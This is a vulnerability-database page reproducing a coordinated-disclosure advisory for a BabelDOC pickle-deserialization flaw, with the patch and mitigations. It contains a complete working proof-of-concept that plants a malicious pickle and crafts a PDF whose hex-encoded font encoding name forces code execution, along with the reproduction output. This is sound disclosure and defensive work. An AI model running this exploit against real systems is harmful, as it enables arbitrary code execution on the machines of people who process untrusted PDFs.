CVE-2026-54071High· 7.8▾ TwilightBabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 42.9 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.
The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # line 233 — only NUL is stripped
filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string
...
for directory in cmap_paths:
path = os.path.join(directory, filename) # line 241 — no realpath/canonical check
if os.path.exists(path):
gzfile = gzip.open(path)
try:
return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional pickle
Path injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.
Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.
Data flow from PDF to sink:
babeldoc/main.py:611–622 — CLI accepts a PDF path; only existence and .pdf suffix are checked.babeldoc/main.py:678–679 — path stored in TranslationConfig(input_file=file).babeldoc/format/pdf/high_level.py:472–488 — translation_config.input_file enters the translate pipeline.babeldoc/format/pdf/high_level.py:805–848 — PDF saved to temp_pdf_path and parsed with parse_prepared_pdf_with_new_parser_to_legacy_ir.babeldoc/format/pdf/new_parser/native_parse.py:60–70 — prepared pages loaded and interpreted.babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34 — PyMuPDF opens the PDF and builds page resources.babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94 — font resources converted to PreparedFontSpec.babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35 — page resource bundle resolves root font map.babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87 — each font spec projected and passed to font_factory.create_font.babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493 — CID fonts call build_cid_cmap(spec, literal_name=literal_name).babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77 — PDF-controlled /Encoding/CMapName normalized and passed to CMapDB.get_cmap. _normalize_cmap_name() removes only a single leading /; all other path characters pass through.babeldoc/pdfminer/cmapdb.py:233–245 — sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with pickle.loads().Sanitization gaps:
name.replace("\0", "") removes only the NUL byte; .., /, \, and hex-decoded path separators are unaffected.os.path.realpath(), os.path.abspath(), or os.path.commonpath() containment check before the file is opened.Recommended patch (babeldoc/pdfminer/cmapdb.py):
--- a/babeldoc/pdfminer/cmapdb.py
+++ b/babeldoc/pdfminer/cmapdb.py
@@
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
- path = os.path.join(directory, filename)
+ base_dir = os.path.realpath(directory)
+ path = os.path.realpath(os.path.join(base_dir, filename))
+ try:
+ if os.path.commonpath([base_dir, path]) != base_dir:
+ continue
+ except ValueError:
+ continue
if os.path.exists(path):
gzfile = gzip.open(path)
A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.
Environment setup (Docker — recommended for isolation):
# From the repository root
docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .
docker run --rm vuln-001-babeldoc-cmap
Manual setup (local venv):
python3 -m venv /tmp/babeldoc-poc-venv
source /tmp/babeldoc-poc-venv/bin/activate
pip install freetype-py==2.5.1 charset-normalizer cryptography
export PYTHONPATH=/path/to/BabelDOC
python3 poc.py
PoC script (poc.py) — key steps:
import gzip, pathlib, pickle, sys
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# Step 1 — write the malicious pickle to a world-writable location
class MaliciousPayload:
def __reduce__(self):
return (pathlib.Path(str(PROOF_FILE)).write_text,
("RCE_CONFIRMED: pickle.loads executed attacker payload",))
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path
# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...
# Full source in poc.py
# Step 3 — trigger via the pdfminer high-level API
from babeldoc.pdfminer.high_level import extract_text
try:
extract_text(str(MALICIOUS_PDF))
except TypeError:
pass # expected: type(name, (), <int>) fails after write_text returns int
# Step 4 — verify
assert PROOF_FILE.exists(), "FAIL: proof file not created"
print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"
Phase 2 dynamic reproduction output (Docker container):
[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz
[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf
[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...
[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int
[*] This exception is expected; the payload ran before it.
============================================================
RESULT: PASS
Proof file: /tmp/babeldoc_cmap_rce_proof.txt
Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload'
============================================================
The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.
Attack path summary:
PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious
-> pdfminer hex-decodes #2F -> '/'
-> literal_name = "/tmp/babeldoc-cmap-poc/malicious"
-> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious")
-> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # absolute path!
-> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
== "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # first arg discarded
-> gzip.open() + pickle.loads() -> arbitrary code execution
This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.
Who is impacted:
babeldoc CLI or any application embedding BabelDOC's PDF translation/text-extraction functionality.Attack prerequisites:
.pickle.gz file at a predictable path on the local filesystem (e.g., /tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.
Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.
DockerfileFROM python:3.11-slim
# Install system-level dependencies for freetype
RUN apt-get update && apt-get install -y --no-install-recommends \
libfreetype6 \
&& rm -rf /var/lib/apt/lists/*
# Install minimal Python dependencies required by babeldoc/pdfminer
RUN pip install --no-cache-dir \
freetype-py==2.5.1 \
charset-normalizer \
cryptography
# Copy the BabelDOC repository (only babeldoc package directory is needed)
COPY repo/babeldoc /app/babeldoc
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
WORKDIR /app
# PYTHONPATH exposes babeldoc package without a full pip install
ENV PYTHONPATH=/app
CMD ["python3", "poc.py"]
poc.py"""
PoC: CMap Pickle Deserialization via Absolute Path Injection
CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2
Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes
from the CMap name before building a filesystem path. A PDF name object
using #xx hex-encoding can inject absolute path characters (/) so that
os.path.join() discards the trusted cmap directory entirely, opening and
unpickling an attacker-placed .pickle.gz file.
Attack flow:
PDF /Encoding /#2Ftmp#2F...#2Fmalicious
-> pdfminer hex-decodes #2F -> '/'
-> literal_name() returns "/tmp/.../malicious"
-> _load_data("/tmp/.../malicious")
-> filename = "/tmp/.../malicious.pickle.gz" (absolute path!)
-> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
== "/tmp/.../malicious.pickle.gz" (Python discards first arg)
-> gzip.open() + pickle.loads() => arbitrary code execution
"""
import gzip
import os
import pathlib
import pickle
import sys
# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")
MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"
MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"
PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")
# ---------------------------------------------------------------------------
# Step 1: Build the malicious pickle payload
# ---------------------------------------------------------------------------
class MaliciousPayload:
"""Pickle payload that writes a proof file on deserialization."""
def __reduce__(self):
# Write proof file when unpickled; any writable command works here.
return (
pathlib.Path(str(PROOF_FILE)).write_text,
("RCE_CONFIRMED: pickle.loads executed attacker payload",),
)
def create_malicious_pickle():
CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)
PROOF_FILE.unlink(missing_ok=True)
with gzip.open(MALICIOUS_PICKLE, "wb") as fh:
pickle.dump(MaliciousPayload(), fh)
print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")
# ---------------------------------------------------------------------------
# Step 2: Build the malicious PDF
# ---------------------------------------------------------------------------
def create_malicious_pdf():
"""
Craft a minimal PDF with a Type0 CID font whose /Encoding name is a
PDF literal that hex-encodes an absolute Unix path.
PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.
"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value
"/tmp/babeldoc-cmap-poc/malicious" (starts with '/').
When passed through babeldoc/pdfminer:
literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"
_load_data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"
os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")
=> "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!)
"""
# Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious
# '#2F' = '/' in PDF name hex encoding
encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"
content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"
# PDF objects (1-indexed)
objs = [
# 1: Catalog
b"<< /Type /Catalog /Pages 2 0 R >>",
# 2: Pages
b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
# 3: Page - references content stream (4) and font (5)
b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"
b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",
# 4: Content stream
b"<< /Length %d >>\nstream\n" % len(content_stream)
+ content_stream
+ b"\nendstream",
# 5: Type0 font with malicious /Encoding name
b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"
b" /Encoding " + encoding_name + b""
b" /DescendantFonts [6 0 R] >>",
# 6: CIDFontType2 descendant
b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"
b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"
b" /Supplement 0 >> /FontDescriptor 7 0 R >>",
# 7: FontDescriptor (minimal)
b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"
b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"
b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",
]
buf = bytearray(b"%PDF-1.4\n")
offsets = []
for i, obj_data in enumerate(objs, 1):
offsets.append(len(buf))
buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"
xref_offset = len(buf)
buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()
for off in offsets:
buf += f"{off:010d} 00000 n \n".encode()
buf += (
f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"
f"startxref\n{xref_offset}\n%%EOF\n"
).encode()
MALICIOUS_PDF.write_bytes(bytes(buf))
print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")
# ---------------------------------------------------------------------------
# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text
# ---------------------------------------------------------------------------
def trigger_exploit():
from babeldoc.pdfminer.high_level import extract_text
print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")
try:
result = extract_text(str(MALICIOUS_PDF))
print(f"[+] extract_text completed, returned {len(result)} chars")
except Exception as exc:
# A TypeError is expected: after pickle.loads() returns the result of
# write_text() (an int), the code tries type(name, (), <int>) which
# raises TypeError. The write has already happened at this point.
print(f"[*] extract_text raised {type(exc).__name__}: {exc}")
print("[*] This exception is expected; the payload ran before it.")
# ---------------------------------------------------------------------------
# Step 4: Verify RCE evidence
# ---------------------------------------------------------------------------
def verify_rce():
if PROOF_FILE.exists():
content = PROOF_FILE.read_text()
print()
print("=" * 60)
print("RESULT: PASS")
print(f"Proof file: {PROOF_FILE}")
print(f"Content: {content!r}")
print("=" * 60)
return True
else:
print()
print("=" * 60)
print("RESULT: FAIL")
print(f"Proof file {PROOF_FILE} was NOT created.")
print("=" * 60)
return False
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main():
print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")
print(f"Python: {sys.version}")
print()
create_malicious_pickle()
create_malicious_pdf()
trigger_exploit()
success = verify_rce()
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()
The CVSS v3.1 vector has been revised from the reporter's initial
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer
review. The severity rating remains High.
One metric is revised; the remaining metrics (AV:L, AC:L, PR:N,
UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.
The remaining metrics are retained intentionally:
AV:L, PR:N, UI:R: the attack requires local presence of
attacker-influenced data (consistent with AV:L), does not require
authenticated access to BabelDOC itself (PR:N), and depends on a
user actually processing the crafted PDF (UI:R).AC:L: kept aligned with industry practice for CWE-502
deserialization issues; once the supporting filesystem condition
exists, the same-process exploitation path is consistent and
repeatable.C:H, I:H, A:H: full code-execution impact within the
BabelDOC process.We thank EQSTLab for the detailed report and PoC; this revision is limited to CVSS metric interpretation, and the issue remains High severity when exploitable.
The original report covers entry point (1): the Encoding / CMapName
font dictionary path, with absolute-path injection. Local review during
patch preparation identified that the same _load_data sink is reached
from one additional independently exploitable PDF-controlled path and
two prefixed call sites covered at the sink for defense in depth:
Encoding / CMapName references in a font dictionary
(reported entry; absolute-path injection per the upstream report,
.. relative traversal also exploitable)usecmap operator inside an embedded CMap stream
(independently exploitable via .. relative traversal; not in the
original report)CIDSystemInfo.Ordering flowing through get_unicode_map in the
legacy pdfminer pipelineCIDSystemInfo.Ordering flowing through get_unicode_map in the
active new-parser pipelineCall sites (3) and (4) were not reproduced as standalone PDF-only
exploit paths in v0.6.x. The get_unicode_map caller prepends a
to-unicode- prefix to the PDF-controlled name, which breaks
absolute-path injection and means .. traversal would require an
additional crafted directory layout such as a to-unicode-*
component under a CMap search location. The 0.6.3 sink-level fix
still covers these call sites, so future removal of the prefix or
a future unprefixed caller remains blocked.
The runtime CMap loader in 0.6.3 refuses to deserialize any file that does not simultaneously:
runtime/data/cmap directory after path
resolution (containment check), andThe integrity check runs on the compressed on-disk .gz bytes before
decompression, so files whose compressed size or SHA-256 differs from
the pinned manifest are rejected before gzip or pickle sees them.
The legacy CMAP_PATH external search path is removed entirely; only
the bundled directory is consulted. The active new-parser pipeline
and the vendored pdfminer pipeline share the same verified-load entry
point.
A separate hardening in the same release sanitizes PDF-controlled
XObject names before they reach the optional ImageWriter output
path, preventing PDF-driven writes outside the configured output
directory. This is separate from BabelDOC's default translation
pipeline: the optional ImageWriter is not used by default and is
only reachable when a third-party caller passes an explicit
output_dir. It is included here for completeness.
These steps reduce known exploit preconditions on pre-0.6.3 versions; they are not equivalent to the 0.6.3 fix.
CMAP_PATH environment variable when running
BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3
versions, unsetting it limits the attack surface to the bundled
cmap directory under the BabelDOC package.CMAP_PATH target.BabelDOC publishes security fixes only in the latest release. We do not publish maintainer-supported backports for older minor, patch, or release lines. For this advisory, the maintainer-supported fixed version is 0.6.3 or later; downstream distributors may carry their own patches, but older BabelDOC releases will not receive a separate upstream backport.
We thank EQSTLab for the detailed private report, complete reproduction material, and coordinated-disclosure cooperation that allowed this fix to be prepared and released before public disclosure.
BabelDOC <= 0.6.2Upgrade to a patched release:
BabelDOC 0.6.3Connected by shared product, vendor, weakness, or advisory.
CVE-2020-26867Critical· 9.8ARC Informatique PcVue prior to version 12.0.17 is vulnerable due to the deserialization of untrusted data, which may allow an attacker to remotely execute arbitrary code on the web and mobile back-end server.
CVE-2026-1462High· 7.8A vulnerability in the `TFSMLayer` class of the `keras` package, version 3.13.0, allows attacker-controlled TensorFlow SavedModels to be loaded during deserialization of `.keras` models, even when `safe_mode=True`
CVE-2026-49121High· 8.1AI Tensor Engine for ROCm (AITER) through 0.1.14 contains an unauthenticated remote code execution vulnerability in the MessageQueue.recv() function within shm_broadcast.py that allows unauthenticated remote attackers to execute arbitrar…
CVE-2021-42237Critical· 9.8Sitecore XP 7.5 Initial Release to Sitecore XP 8.2 Update-7 is vulnerable to an insecure deserialization attack where it is possible to achieve remote command execution on the machine
CVE-2026-24747High· 8.8PyTorch is a Python package that provides tensor computation
CVE-2025-56005Critical· 9.8An undocumented and unsafe feature in the PLY (Python Lex-Yacc) library 3.11 allows Remote Code Execution (RCE) via the `picklefile` parameter in the `yacc()` function